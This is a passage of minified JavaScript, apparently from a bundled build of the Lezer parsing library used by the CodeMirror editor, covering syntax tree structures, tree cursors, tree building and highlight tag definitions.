i.selection.ranges){let r=i.doc.lineAt(n.head).from;r>t&&(t=r,e.push(ax.range(r)))}return $.of(e)});function cx(){return hx}const Zu=1024;let fx=0;class to{constructor(e,t){this.from=e,this.to=t}}class W{constructor(e={}){this.id=fx++,this.perNode=!!e.perNode,this.deserialize=e.deserialize||(()=>{throw new Error("This node type doesn't define a deserialize function")}),this.combine=e.combine||null}add(e){if(this.perNode)throw new RangeError("Can't add per-node props to node types");return typeof e!="function"&&(e=$e.match(e)),t=>{let n=e(t);return n===void 0?null:[this,n]}}}W.closedBy=new W({deserialize:i=>i.split(" ")});W.openedBy=new W({deserialize:i=>i.split(" ")});W.group=new W({deserialize:i=>i.split(" ")});W.isolate=new W({deserialize:i=>{if(i&&i!="rtl"&&i!="ltr"&&i!="auto")throw new RangeError("Invalid value for isolate: "+i);return i||"auto"}});W.contextHash=new W({perNode:!0});W.lookAhead=new W({perNode:!0});W.mounted=new W({perNode:!0});class kn{constructor(e,t,n,r=!1){this.tree=e,this.overlay=t,this.parser=n,this.bracketed=r}static get(e){return e&&e.props&&e.props[W.mounted.id]}}const ux=Object.create(null);class $e{constructor(e,t,n,r=0){this.name=e,this.props=t,this.id=n,this.flags=r}static define(e){let t=e.props&&e.props.length?Object.create(null):ux,n=(e.top?1:0)|(e.skipped?2:0)|(e.error?4:0)|(e.name==null?8:0),r=new $e(e.name||"",t,e.id,n);if(e.props){for(let s of e.props)if(Array.isArray(s)||(s=s(r)),s){if(s[0].perNode)throw new RangeError("Can't store a per-node prop on a node type");t[s[0].id]=s[1]}}return r}prop(e){return this.props[e.id]}get isTop(){return(this.flags&1)>0}get isSkipped(){return(this.flags&2)>0}get isError(){return(this.flags&4)>0}get isAnonymous(){return(this.flags&8)>0}is(e){if(typeof e=="string"){if(this.name==e)return!0;let t=this.prop(W.group);return t?t.indexOf(e)>-1:!1}return this.id==e}static match(e){let t=Object.create(null);for(let n in e)for(let r of n.split(" "))t[r]=e[n];return n=>{for(let r=n.prop(W.group),s=-1;s<(r?r.length:0);s++){let o=t[s<0?n.name:r[s]];if(o)return o}}}}$e.none=new $e("",Object.create(null),0,8);class na{constructor(e){this.types=e;for(let t=0;t<e.length;t++)if(e[t].id!=t)throw new RangeError("Node type ids should correspond to array positions when creating a node set")}extend(...e){let t=[];for(let n of this.types){let r=null;for(let s of e){let o=s(n);if(o){r||(r=Object.assign({},n.props));let l=o[1],a=o[0];a.combine&&a.id in r&&(l=a.combine(r[a.id],l)),r[a.id]=l}}t.push(r?new $e(n.name,r,n.id,n.flags):n)}return new na(t)}}const hr=new WeakMap,Qh=new WeakMap;var ne;(function(i){i[i.ExcludeBuffers=1]="ExcludeBuffers",i[i.IncludeAnonymous=2]="IncludeAnonymous",i[i.IgnoreMounts=4]="IgnoreMounts",i[i.IgnoreOverlays=8]="IgnoreOverlays",i[i.EnterBracketed=16]="EnterBracketed"})(ne||(ne={}));class ae{constructor(e,t,n,r,s){if(this.type=e,this.children=t,this.positions=n,this.length=r,this.props=null,s&&s.length){this.props=Object.create(null);for(let[o,l]of s)this.props[typeof o=="number"?o:o.id]=l}}toString(){let e=kn.get(this);if(e&&!e.overlay)return e.tree.toString();let t="";for(let n of this.children){let r=n.toString();r&&(t&&(t+=","),t+=r)}return this.type.name?(/\W/.test(this.type.name)&&!this.type.isError?JSON.stringify(this.type.name):this.type.name)+(t.length?"("+t+")":""):t}cursor(e=0){return new ul(this.topNode,e)}cursorAt(e,t=0,n=0){let r=hr.get(this)||this.topNode,s=new ul(r);return s.moveTo(e,t),hr.set(this,s._tree),s}get topNode(){return new Ye(this,0,0,null)}resolve(e,t=0){let n=Dn(hr.get(this)||this.topNode,e,t,!1);return hr.set(this,n),n}resolveInner(e,t=0){let n=Dn(Qh.get(this)||this.topNode,e,t,!0);return Qh.set(this,n),n}resolveStack(e,t=0){return gx(this,e,t)}iterate(e){let{enter:t,leave:n,from:r=0,to:s=this.length}=e,o=e.mode||0,l=(o&ne.IncludeAnonymous)>0;for(let a=this.cursor(o|ne.IncludeAnonymous);;){let h=!1;if(a.from<=s&&a.to>=r&&(!l&&a.type.isAnonymous||t(a)!==!1)){if(a.firstChild())continue;h=!0}for(;h&&n&&(l||!a.type.isAnonymous)&&n(a),!a.nextSibling();){if(!a.parent())return;h=!0}}}prop(e){return e.perNode?this.props?this.props[e.id]:void 0:this.type.prop(e)}get propValues(){let e=[];if(this.props)for(let t in this.props)e.push([+t,this.props[t]]);return e}balance(e={}){return this.children.length<=8?this:oa($e.none,this.children,this.positions,0,this.children.length,0,this.length,(t,n,r)=>new ae(this.type,t,n,r,this.propValues),e.makeTree||((t,n,r)=>new ae($e.none,t,n,r)))}static build(e){return mx(e)}}ae.empty=new ae($e.none,[],[],0);class ra{constructor(e,t){this.buffer=e,this.index=t}get id(){return this.buffer[this.index-4]}get start(){return this.buffer[this.index-3]}get end(){return this.buffer[this.index-2]}get size(){return this.buffer[this.index-1]}get pos(){return this.index}next(){this.index-=4}fork(){return new ra(this.buffer,this.index)}}class Ut{constructor(e,t,n){this.buffer=e,this.length=t,this.set=n}get type(){return $e.none}toString(){let e=[];for(let t=0;t<this.buffer.length;)e.push(this.childString(t)),t=this.buffer[t+3];return e.join(",")}childString(e){let t=this.buffer[e],n=this.buffer[e+3],r=this.set.types[t],s=r.name;if(/\W/.test(s)&&!r.isError&&(s=JSON.stringify(s)),e+=4,n==e)return s;let o=[];for(;e<n;)o.push(this.childString(e)),e=this.buffer[e+3];return s+"("+o.join(",")+")"}findChild(e,t,n,r,s){let{buffer:o}=this,l=-1;for(let a=e;a!=t&&!(ed(s,r,o[a+1],o[a+2])&&(l=a,n>0));a=o[a+3]);return l}slice(e,t,n){let r=this.buffer,s=new Uint16Array(t-e),o=0;for(let l=e,a=0;l<t;){s[a++]=r[l++],s[a++]=r[l++]-n;let h=s[a++]=r[l++]-n;s[a++]=r[l++]-e,o=Math.max(o,h)}return new Ut(s,o,this.set)}}function ed(i,e,t,n){switch(i){case-2:return t<e;case-1:return n>=e&&t<e;case 0:return t<e&&n>e;case 1:return t<=e&&n>e;case 2:return n>e;case 4:return!0}}function Dn(i,e,t,n){for(var r;i.from==i.to||(t<1?i.from>=e:i.from>e)||(t>-1?i.to<=e:i.to<e);){let o=!n&&i instanceof Ye&&i.index<0?null:i.parent;if(!o)return i;i=o}let s=n?0:ne.IgnoreOverlays;if(n)for(let o=i,l=o.parent;l;o=l,l=o.parent)o instanceof Ye&&o.index<0&&((r=l.enter(e,t,s))===null||r===void 0?void 0:r.from)!=o.from&&(i=l);for(;;){let o=i.enter(e,t,s);if(!o)return i;i=o}}class td{cursor(e=0){return new ul(this,e)}getChild(e,t=null,n=null){let r=zh(this,e,t,n);return r.length?r[0]:null}getChildren(e,t=null,n=null){return zh(this,e,t,n)}resolve(e,t=0){return Dn(this,e,t,!1)}resolveInner(e,t=0){return Dn(this,e,t,!0)}matchContext(e){return fl(this.parent,e)}enterUnfinishedNodesBefore(e){let t=this.childBefore(e),n=this;for(;t;){let r=t.lastChild;if(!r||r.to!=t.to)break;r.type.isError&&r.from==r.to?(n=t,t=r.prevSibling):t=r}return n}get node(){return this}get next(){return this.parent}}class Ye extends td{constructor(e,t,n,r){super(),this._tree=e,this.from=t,this.index=n,this._parent=r}get type(){return this._tree.type}get name(){return this._tree.type.name}get to(){return this.from+this._tree.length}nextChild(e,t,n,r,s=0){for(let o=this;;){for(let{children:l,positions:a}=o._tree,h=t>0?l.length:-1;e!=h;e+=t){let c=l[e],f=a[e]+o.from,u;if(!(!(s&ne.EnterBracketed&&c instanceof ae&&(u=kn.get(c))&&!u.overlay&&u.bracketed&&n>=f&&n<=f+c.length)&&!ed(r,n,f,f+c.length))){if(c instanceof Ut){if(s&ne.ExcludeBuffers)continue;let d=c.findChild(0,c.buffer.length,t,n-f,r);if(d>-1)return new Wt(new dx(o,c,e,f),null,d)}else if(s&ne.IncludeAnonymous||!c.type.isAnonymous||sa(c)){let d;if(!(s&ne.IgnoreMounts)&&(d=kn.get(c))&&!d.overlay)return new Ye(d.tree,f,e,o);let p=new Ye(c,f,e,o);return s&ne.IncludeAnonymous||!p.type.isAnonymous?p:p.nextChild(t<0?c.children.length-1:0,t,n,r,s)}}}if(s&ne.IncludeAnonymous||!o.type.isAnonymous||(o.index>=0?e=o.index+t:e=t<0?-1:o._parent._tree.children.length,o=o._parent,!o))return null}}get firstChild(){return this.nextChild(0,1,0,4)}get lastChild(){return this.nextChild(this._tree.children.length-1,-1,0,4)}childAfter(e){return this.nextChild(0,1,e,2)}childBefore(e){return this.nextChild(this._tree.children.length-1,-1,e,-2)}prop(e){return this._tree.prop(e)}enter(e,t,n=0){let r;if(!(n&ne.IgnoreOverlays)&&(r=kn.get(this._tree))&&r.overlay){let s=e-this.from,o=n&ne.EnterBracketed&&r.bracketed;for(let{from:l,to:a}of r.overlay)if((t>0||o?l<=s:l<s)&&(t<0||o?a>=s:a>s))return new Ye(r.tree,r.overlay[0].from+this.from,-1,this)}return this.nextChild(0,1,e,t,n)}nextSignificantParent(){let e=this;for(;e.type.isAnonymous&&e._parent;)e=e._parent;return e}get parent(){return this._parent?this._parent.nextSignificantParent():null}get nextSibling(){return this._parent&&this.index>=0?this._parent.nextChild(this.index+1,1,0,4):null}get prevSibling(){return this._parent&&this.index>=0?this._parent.nextChild(this.index-1,-1,0,4):null}get tree(){return this._tree}toTree(){return this._tree}toString(){return this._tree.toString()}}function zh(i,e,t,n){let r=i.cursor(),s=[];if(!r.firstChild())return s;if(t!=null){for(let o=!1;!o;)if(o=r.type.is(t),!r.nextSibling())return s}for(;;){if(n!=null&&r.type.is(n))return s;if(r.type.is(e)&&s.push(r.node),!r.nextSibling())return n==null?s:[]}}function fl(i,e,t=e.length-1){for(let n=i;t>=0;n=n.parent){if(!n)return!1;if(!n.type.isAnonymous){if(e[t]&&e[t]!=n.name)return!1;t--}}return!0}class dx{constructor(e,t,n,r){this.parent=e,this.buffer=t,this.index=n,this.start=r}}class Wt extends td{get name(){return this.type.name}get from(){return this.context.start+this.context.buffer.buffer[this.index+1]}get to(){return this.context.start+this.context.buffer.buffer[this.index+2]}constructor(e,t,n){super(),this.context=e,this._parent=t,this.index=n,this.type=e.buffer.set.types[e.buffer.buffer[n]]}child(e,t,n){let{buffer:r}=this.context,s=r.findChild(this.index+4,r.buffer[this.index+3],e,t-this.context.start,n);return s<0?null:new Wt(this.context,this,s)}get firstChild(){return this.child(1,0,4)}get lastChild(){return this.child(-1,0,4)}childAfter(e){return this.child(1,e,2)}childBefore(e){return this.child(-1,e,-2)}prop(e){return this.type.prop(e)}enter(e,t,n=0){if(n&ne.ExcludeBuffers)return null;let{buffer:r}=this.context,s=r.findChild(this.index+4,r.buffer[this.index+3],t>0?1:-1,e-this.context.start,t);return s<0?null:new Wt(this.context,this,s)}get parent(){return this._parent||this.context.parent.nextSignificantParent()}externalSibling(e){return this._parent?null:this.context.parent.nextChild(this.context.index+e,e,0,4)}get nextSibling(){let{buffer:e}=this.context,t=e.buffer[this.index+3];return t<(this._parent?e.buffer[this._parent.index+3]:e.buffer.length)?new Wt(this.context,this._parent,t):this.externalSibling(1)}get prevSibling(){let{buffer:e}=this.context,t=this._parent?this._parent.index+4:0;return this.index==t?this.externalSibling(-1):new Wt(this.context,this._parent,e.findChild(t,this.index,-1,0,4))}get tree(){return null}toTree(){let e=[],t=[],{buffer:n}=this.context,r=this.index+4,s=n.buffer[this.index+3];if(s>r){let o=n.buffer[this.index+1];e.push(n.slice(r,s,o)),t.push(0)}return new ae(this.type,e,t,this.to-this.from)}toString(){return this.context.buffer.childString(this.index)}}function id(i){if(!i.length)return null;let e=0,t=i[0];for(let s=1;s<i.length;s++){let o=i[s];(o.from>t.from||o.to<t.to)&&(t=o,e=s)}let n=t instanceof Ye&&t.index<0?null:t.parent,r=i.slice();return n?r[e]=n:r.splice(e,1),new px(r,t)}class px{constructor(e,t){this.heads=e,this.node=t}get next(){return id(this.heads)}}function gx(i,e,t){let n=i.resolveInner(e,t),r=null;for(let s=n instanceof Ye?n:n.context.parent;s;s=s.parent)if(s.index<0){let o=s.parent;(r||(r=[n])).push(o.resolve(e,t)),s=o}else{let o=kn.get(s.tree);if(o&&o.overlay&&o.overlay[0].from<=e&&o.overlay[o.overlay.length-1].to>=e){let l=new Ye(o.tree,o.overlay[0].from+s.from,-1,s);(r||(r=[n])).push(Dn(l,e,t,!1))}}return r?id(r):n}class ul{get name(){return this.type.name}constructor(e,t=0){if(this.buffer=null,this.stack=[],this.index=0,this.bufferNode=null,this.mode=t&~ne.EnterBracketed,e instanceof Ye)this.yieldNode(e);else{this._tree=e.context.parent,this.buffer=e.context;for(let n=e._parent;n;n=n._parent)this.stack.unshift(n.index);this.bufferNode=e,this.yieldBuf(e.index)}}yieldNode(e){return e?(this._tree=e,this.type=e.type,this.from=e.from,this.to=e.to,!0):!1}yieldBuf(e,t){this.index=e;let{start:n,buffer:r}=this.buffer;return this.type=t||r.set.types[r.buffer[e]],this.from=n+r.buffer[e+1],this.to=n+r.buffer[e+2],!0}yield(e){return e?e instanceof Ye?(this.buffer=null,this.yieldNode(e)):(this.buffer=e.context,this.yieldBuf(e.index,e.type)):!1}toString(){return this.buffer?this.buffer.buffer.childString(this.index):this._tree.toString()}enterChild(e,t,n){if(!this.buffer)return this.yield(this._tree.nextChild(e<0?this._tree._tree.children.length-1:0,e,t,n,this.mode));let{buffer:r}=this.buffer,s=r.findChild(this.index+4,r.buffer[this.index+3],e,t-this.buffer.start,n);return s<0?!1:(this.stack.push(this.index),this.yieldBuf(s))}firstChild(){return this.enterChild(1,0,4)}lastChild(){return this.enterChild(-1,0,4)}childAfter(e){return this.enterChild(1,e,2)}childBefore(e){return this.enterChild(-1,e,-2)}enter(e,t,n=this.mode){return this.buffer?n&ne.ExcludeBuffers?!1:this.enterChild(1,e,t):this.yield(this._tree.enter(e,t,n))}parent(){if(!this.buffer)return this.yieldNode(this.mode&ne.IncludeAnonymous?this._tree._parent:this._tree.parent);if(this.stack.length)return this.yieldBuf(this.stack.pop());let e=this.mode&ne.IncludeAnonymous?this.buffer.parent:this.buffer.parent.nextSignificantParent();return this.buffer=null,this.yieldNode(e)}sibling(e){if(!this.buffer)return this._tree._parent?this.yield(this._tree.index<0?null:this._tree._parent.nextChild(this._tree.index+e,e,0,4,this.mode)):!1;let{buffer:t}=this.buffer,n=this.stack.length-1;if(e<0){let r=n<0?0:this.stack[n]+4;if(this.index!=r)return this.yieldBuf(t.findChild(r,this.index,-1,0,4))}else{let r=t.buffer[this.index+3];if(r<(n<0?t.buffer.length:t.buffer[this.stack[n]+3]))return this.yieldBuf(r)}return n<0?this.yield(this.buffer.parent.nextChild(this.buffer.index+e,e,0,4,this.mode)):!1}nextSibling(){return this.sibling(1)}prevSibling(){return this.sibling(-1)}atLastNode(e){let t,n,{buffer:r}=this;if(r){if(e>0){if(this.index<r.buffer.buffer.length)return!1}else for(let s=0;s<this.index;s++)if(r.buffer.buffer[s+3]<this.index)return!1;({index:t,parent:n}=r)}else({index:t,_parent:n}=this._tree);for(;n;{index:t,_parent:n}=n)if(t>-1)for(let s=t+e,o=e<0?-1:n._tree.children.length;s!=o;s+=e){let l=n._tree.children[s];if(this.mode&ne.IncludeAnonymous||l instanceof Ut||!l.type.isAnonymous||sa(l))return!1}return!0}move(e,t){if(t&&this.enterChild(e,0,4))return!0;for(;;){if(this.sibling(e))return!0;if(this.atLastNode(e)||!this.parent())return!1}}next(e=!0){return this.move(1,e)}prev(e=!0){return this.move(-1,e)}moveTo(e,t=0){for(;(this.from==this.to||(t<1?this.from>=e:this.from>e)||(t>-1?this.to<=e:this.to<e))&&this.parent(););for(;this.enterChild(1,e,t););return this}get node(){if(!this.buffer)return this._tree;let e=this.bufferNode,t=null,n=0;if(e&&e.context==this.buffer)e:for(let r=this.index,s=this.stack.length;s>=0;){for(let o=e;o;o=o._parent)if(o.index==r){if(r==this.index)return o;t=o,n=s+1;break e}r=this.stack[--s]}for(let r=n;r<this.stack.length;r++)t=new Wt(this.buffer,t,this.stack[r]);return this.bufferNode=new Wt(this.buffer,t,this.index)}get tree(){return this.buffer?null:this._tree._tree}iterate(e,t){for(let n=0;;){let r=!1;if(this.type.isAnonymous||e(this)!==!1){if(this.firstChild()){n++;continue}this.type.isAnonymous||(r=!0)}for(;;){if(r&&t&&t(this),r=this.type.isAnonymous,!n)return;if(this.nextSibling())break;this.parent(),n--,r=!0}}}matchContext(e){if(!this.buffer)return fl(this.node.parent,e);let{buffer:t}=this.buffer,{types:n}=t.set;for(let r=e.length-1,s=this.stack.length-1;r>=0;s--){if(s<0)return fl(this._tree,e,r);let o=n[t.buffer[this.stack[s]]];if(!o.isAnonymous){if(e[r]&&e[r]!=o.name)return!1;r--}}return!0}}function sa(i){return i.children.some(e=>e instanceof Ut||!e.type.isAnonymous||sa(e))}function mx(i){var e;let{buffer:t,nodeSet:n,maxBufferLength:r=Zu,reused:s=[],minRepeatType:o=n.types.length}=i,l=Array.isArray(t)?new ra(t,t.length):t,a=n.types,h=0,c=0;function f(k,w,O,I,F,U){let{id:B,start:E,end:H,size:_}=l,K=c,oe=h;if(_<0)if(l.next(),_==-1){let me=s[B];O.push(me),I.push(E-k);return}else if(_==-3){h=B;return}else if(_==-4){c=B;return}else throw new RangeError(`Unrecognized record size: ${_}`);let fe=a[B],Me,ie,ge=E-k;if(H-E<=r&&(ie=m(l.pos-w,F))){let me=new Uint16Array(ie.size-ie.skip),Pe=l.pos-ie.size,He=me.length;for(;l.pos>Pe;)He=b(ie.start,me,He);Me=new Ut(me,H-ie.start,n),ge=ie.start-k}else{let me=l.pos-_;l.next();let Pe=[],He=[],Y=B>=o?B:-1,Ze=0,Yt=H;for(;l.pos>me;)Y>=0&&l.id==Y&&l.size>=0?(l.end<=Yt-r&&(p(Pe,He,E,Ze,l.end,Yt,Y,K,oe),Ze=Pe.length,Yt=l.end),l.next()):U>2500?u(E,me,Pe,He):f(E,me,Pe,He,Y,U+1);if(Y>=0&&Ze>0&&Ze<Pe.length&&p(Pe,He,E,Ze,E,Yt,Y,K,oe),Pe.reverse(),He.reverse(),Y>-1&&Ze>0){let xi=d(fe,oe);Me=oa(fe,Pe,He,0,Pe.length,0,H-E,xi,xi)}else Me=g(fe,Pe,He,H-E,K-H,oe)}O.push(Me),I.push(ge)}function u(k,w,O,I){let F=[],U=0,B=-1;for(;l.pos>w;){let{id:E,start:H,end:_,size:K}=l;if(K>4)l.next();else{if(B>-1&&H<B)break;B<0&&(B=_-r),F.push(E,H,_),U++,l.next()}}if(U){let E=new Uint16Array(U*4),H=F[F.length-2];for(let _=F.length-3,K=0;_>=0;_-=3)E[K++]=F[_],E[K++]=F[_+1]-H,E[K++]=F[_+2]-H,E[K++]=K;O.push(new Ut(E,F[2]-H,n)),I.push(H-k)}}function d(k,w){return(O,I,F)=>{let U=0,B=O.length-1,E,H;if(B>=0&&(E=O[B])instanceof ae){if(!B&&E.type==k&&E.length==F)return E;(H=E.prop(W.lookAhead))&&(U=I[B]+E.length+H)}return g(k,O,I,F,U,w)}}function p(k,w,O,I,F,U,B,E,H){let _=[],K=[];for(;k.length>I;)_.push(k.pop()),K.push(w.pop()+O-F);k.push(g(n.types[B],_,K,U-F,E-U,H)),w.push(F-O)}function g(k,w,O,I,F,U,B){if(U){let E=[W.contextHash,U];B=B?[E].concat(B):[E]}if(F>25){let E=[W.lookAhead,F];B=B?[E].concat(B):[E]}return new ae(k,w,O,I,B)}function m(k,w){let O=l.fork(),I=0,F=0,U=0,B=O.end-r,E={size:0,start:0,skip:0};e:for(let H=O.pos-k;O.pos>H;){let _=O.size;if(O.id==w&&_>=0){E.size=I,E.start=F,E.skip=U,U+=4,I+=4,O.next();continue}let K=O.pos-_;if(_<0||K<H||O.start<B)break;let oe=O.id>=o?4:0,fe=O.start;for(O.next();O.pos>K;){if(O.size<0)if(O.size==-3||O.size==-4)oe+=4;else break e;else O.id>=o&&(oe+=4);O.next()}F=fe,I+=_,U+=oe}return(w<0||I==k)&&(E.size=I,E.start=F,E.skip=U),E.size>4?E:void 0}function b(k,w,O){let{id:I,start:F,end:U,size:B}=l;if(l.next(),B>=0&&I<o){let E=O;if(B>4){let H=l.pos-(B-4);for(;l.pos>H;)O=b(k,w,O)}w[--O]=E,w[--O]=U-k,w[--O]=F-k,w[--O]=I}else B==-3?h=I:B==-4&&(c=I);return O}let x=[],S=[];for(;l.pos>0;)f(i.start||0,i.bufferStart||0,x,S,-1,0);let M=(e=i.length)!==null&&e!==void 0?e:x.length?S[0]+x[0].length:0;return new ae(a[i.topID],x.reverse(),S.reverse(),M)}const qh=new WeakMap;function Ar(i,e){if(!i.isAnonymous||e instanceof Ut||e.type!=i)return 1;let t=qh.get(e);if(t==null){t=1;for(let n of e.children){if(n.type!=i||!(n instanceof ae)){t=1;break}t+=Ar(i,n)}qh.set(e,t)}return t}function oa(i,e,t,n,r,s,o,l,a){let h=0;for(let p=n;p<r;p++)h+=Ar(i,e[p]);let c=Math.ceil(h*1.5/8),f=[],u=[];function d(p,g,m,b,x){for(let S=m;S<b;){let M=S,k=g[S],w=Ar(i,p[S]);for(S++;S<b;S++){let O=Ar(i,p[S]);if(w+O>=c)break;w+=O}if(S==M+1){if(w>c){let O=p[M];d(O.children,O.positions,0,O.children.length,g[M]+x);continue}f.push(p[M])}else{let O=g[S-1]+p[S-1].length-k;f.push(oa(i,p,g,M,S,k,O,null,a))}u.push(k+x-s)}}return d(e,t,n,r,0),(l||a)(f,u,o)}class fi{constructor(e,t,n,r,s=!1,o=!1){this.from=e,this.to=t,this.tree=n,this.offset=r,this.open=(s?1:0)|(o?2:0)}get openStart(){return(this.open&1)>0}get openEnd(){return(this.open&2)>0}static addTree(e,t=[],n=!1){let r=[new fi(0,e.length,e,0,!1,n)];for(let s of t)s.to>e.length&&r.push(s);return r}static applyChanges(e,t,n=128){if(!t.length)return e;let r=[],s=1,o=e.length?e[0]:null;for(let l=0,a=0,h=0;;l++){let c=l<t.length?t[l]:null,f=c?c.fromA:1e9;if(f-a>=n)for(;o&&o.from<f;){let u=o;if(a>=u.from||f<=u.to||h){let d=Math.max(u.from,a)-h,p=Math.min(u.to,f)-h;u=d>=p?null:new fi(d,p,u.tree,u.offset+h,l>0,!!c)}if(u&&r.push(u),o.to>f)break;o=s<e.length?e[s++]:null}if(!c)break;a=c.toA,h=c.toA-c.toB}return r}}class nd{startParse(e,t,n){return typeof e=="string"&&(e=new bx(e)),n=n?n.length?n.map(r=>new to(r.from,r.to)):[new to(0,0)]:[new to(0,e.length)],this.createParse(e,t||[],n)}parse(e,t,n){let r=this.startParse(e,t,n);for(;;){let s=r.advance();if(s)return s}}}class bx{constructor(e){this.string=e}get length(){return this.string.length}chunk(e){return this.string.slice(e)}get lineChunks(){return!1}read(e,t){return this.string.slice(e,t)}}new W({perNode:!0});let yx=0,Ot=class dl{constructor(e,t,n,r){this.name=e,this.set=t,this.base=n,this.modified=r,this.id=yx++}toString(){let{name:e}=this;for(let t of this.modified)t.name&&(e=`${t.name}(${e})`);return e}static define(e,t){let n=typeof e=="string"?e:"?";if(e instanceof dl&&(t=e),t?.base)throw new Error("Can not derive from a modified tag");let r=new dl(n,[],null,[]);if(r.set.push(r),t)for(let s of t.set)r.set.push(s);return r}static defineModifier(e){let t=new qr(e);return n=>n.modified.indexOf(t)>-1?n:qr.get(n.base||n,n.modified.concat(t).sort((r,s)=>r.id-s.id))}},xx=0;class qr{constructor(e){this.name=e,this.instances=[],this.id=xx++}static get(e,t){if(!t.length)return e;let n=t[0].instances.find(l=>l.base==e&&vx(t,l.modified));if(n)return n;let r=[],s=new Ot(e.name,r,e,t);for(let l of t)l.instances.push(s);let o=Sx(t);for(let l of e.set)if(!l.modified.length)for(let a of o)r.push(qr.get(l,a));return s}}function vx(i,e){return i.length==e.length&&i.every((t,n)=>t==e[n])}function Sx(i){let e=[[]];for(let t=0;t<i.length;t++)for(let n=0,r=e.length;n<r;n++)e.push(e[n].concat(i[t]));return e.sort((t,n)=>n.length-t.length)}function rd(i){let e=Object.create(null);for(let t in i){let n=i[t];Array.isArray(n)||(n=[n]);for(let r of t.split(" "))if(r){let s=[],o=2,l=r;for(let f=0;;){if(l=="..."&&f>0&&f+3==r.length){o=1;break}let u=/^"(?:[^"\\]|\\.)*?"|[^\/!]+/.exec(l);if(!u)throw new RangeError("Invalid path: "+r);if(s.push(u[0]=="*"?"":u[0][0]=='"'?JSON.parse(u[0]):u[0]),f+=u[0].length,f==r.length)break;let d=r[f++];if(f==r.length&&d=="!"){o=0;break}if(d!="/")throw new RangeError("Invalid path: "+r);l=r.slice(f)}let a=s.length-1,h=s[a];if(!h)throw new RangeError("Invalid path: "+r);let c=new Rn(n,o,a>0?s.slice(0,a):null);e[h]=c.sort(e[h])}}return sd.add(e)}const sd=new W({combine(i,e){let t,n,r;for(;i||e;){if(!i||e&&i.depth>=e.depth?(r=e,e=e.next):(r=i,i=i.next),t&&t.mode==r.mode&&!r.context&&!t.context)continue;let s=new Rn(r.tags,r.mode,r.context);t?t.next=s:n=s,t=s}return n}});class Rn{constructor(e,t,n,r){this.tags=e,this.mode=t,this.context=n,this.next=r}get opaque(){return this.mode==0}get inherit(){return this.mode==1}sort(e){return!e||e.depth<this.depth?(this.next=e,this):(e.next=this.sort(e.next),e)}get depth(){return this.context?this.context.length:0}}Rn.empty=new Rn([],2,null);function od(i,e){let t=Object.create(null);for(let s of i)if(!Array.isArray(s.tag))t[s.tag.id]=s.class;else for(let o of s.tag)t[o.id]=s.class;let{scope:n,all:r=null}=e||{};return{style:s=>{let o=r;for(let l of s)for(let a of l.set){let h=t[a.id];if(h){o=o?o+" "+h:h;break}}return o},scope:n}}function kx(i,e){let t=null;for(let n of i){let r=n.style(e);r&&(t=t?t+" "+r:r)}return t}function wx(i,e,t,n=0,r=i.length){let s=new Ox(n,Array.isArray(e)?e:[e],t);s.highlightRange(i.cursor(),n,r,"",s.highlighters),s.flush(r)}class Ox{constructor(e,t,n){this.at=e,this.highlighters=t,this.span=n,this.class=""}startSpan(e,t){t!=this.class&&(this.flush(e),e>this.at&&(this.at=e),this.class=t)}flush(e){e>this.at&&this.class&&this.span(this.at,e,this.class)}highlightRange(e,t,n,r,s){let{type:o,from:l,to:a}=e;if(l>=n||a<=t)return;o.isTop&&(s=this.highlighters.filter(d=>!d.scope||d.scope(o)));let h=r,c=Cx(e)||Rn.empty,f=kx(s,c.tags);if(f&&(h&&(h+=" "),h+=f,c.mode==1&&(r+=(r?" ":"")+f)),this.startSpan(Math.max(t,l),h),c.opaque)return;let u=e.tree&&e.tree.prop(W.mounted);if(u&&u.overlay){let d=e.node.enter(u.overlay[0].from+l,1),p=this.highlighters.filter(m=>!m.scope||m.scope(u.tree.type)),g=e.firstChild();for(let m=0,b=l;;m++){let x=m<u.overlay.length?u.overlay[m]:null,S=x?x.from+l:a,M=Math.max(t,b),k=Math.min(n,S);if(M<k&&g)for(;e.from<k&&(this.highlightRange(e,M,k,r,s),this.startSpan(Math.min(k,e.to),h),!(e.to>=S||!e.nextSibling())););if(!x||S>n)break;b=x.to+l,b>t&&(this.highlightRange(d.cursor(),Math.max(t,x.from+l),Math.min(n,b),"",p),this.startSpan(Math.min(n,b),h))}g&&e.parent()}else if(e.firstChild()){u&&(r="");do if(!(e.to<=t)){if(e.from>=n)break;this.highlightRange(e,t,n,r,s),this.startSpan(Math.min(n,e.to),h)}while(e.nextSibling());e.parent()}}}function Cx(i){let e=i.type.prop(sd);for(;e&&e.context&&!i.matchContext(e.context);)e=e.next;return e||null}const C=Ot.define,cr=C(),It=C(),Uh=C(It),Kh=C(It),Nt=C(),fr=C(Nt),io=C(Nt),ut=C(),ei=C(ut),ct=C(),ft=C(),pl=C(),an=C(pl),ur=C(),y={comment:cr,lineComment:C(cr),blockComment:C(cr),docComment:C(cr),name:It,variableName:C(It),typeName:Uh,tagName:C(Uh),propertyName:Kh,attributeName:C(Kh),className:C(It),labelName:C(It),namespace:C(It),macroName:C(It),literal:Nt,string:fr,docString:C(fr),character:C(fr),attributeValue:C(fr),number:io,integer:C(io),float:C(io),bool:C(Nt),regexp:C(Nt),escape:C(Nt),color:C(Nt),url:C(Nt),keyword:ct,self:C(ct),null:C(ct),atom:C(ct),unit:C(ct),modifier:C(ct),operatorKeyword:C(ct),controlKeyword:C(ct),definitionKeyword:C(ct),moduleKeyword:C(ct),operator:ft,derefOperator:C(ft),arithmeticOperator:C(ft),logicOperator:C(ft),bitwiseOperator:C(ft),compareOperator:C(ft),updateOperator:C(ft),definitionOperator:C(ft),typeOperator:C(ft),controlOperator:C(ft),punctuation:pl,separator:C(pl),bracket:an,angleBracket:C(an),squareBracket:C(an),paren:C(an),brace:C(an),content:ut,heading:ei,heading1:C(ei),heading2:C(ei),heading3:C(ei),heading4:C(ei),heading5:C(ei),heading6:C(ei),contentSeparator:C(ut),list:C(ut),quote:C(ut),emphasis:C(ut),strong:C(ut),link:C(ut),monospace:C(ut),strikethrough:C(ut),inserted:C(),deleted:C(),changed:C(),invalid:C(),meta:ur,documentMeta:C(ur),annotation:C(ur),processingInstruction:C(ur),definition:Ot.defineModifier("definition"),constant:Ot.defineModifier("constant"),function:Ot.defineModifier("function"),standard:Ot.defineModifier("standard"),local:Ot.defineModifier("local"),special:Ot.defineModifier("special")};for(let i in y){let e=y[i];e instanceof 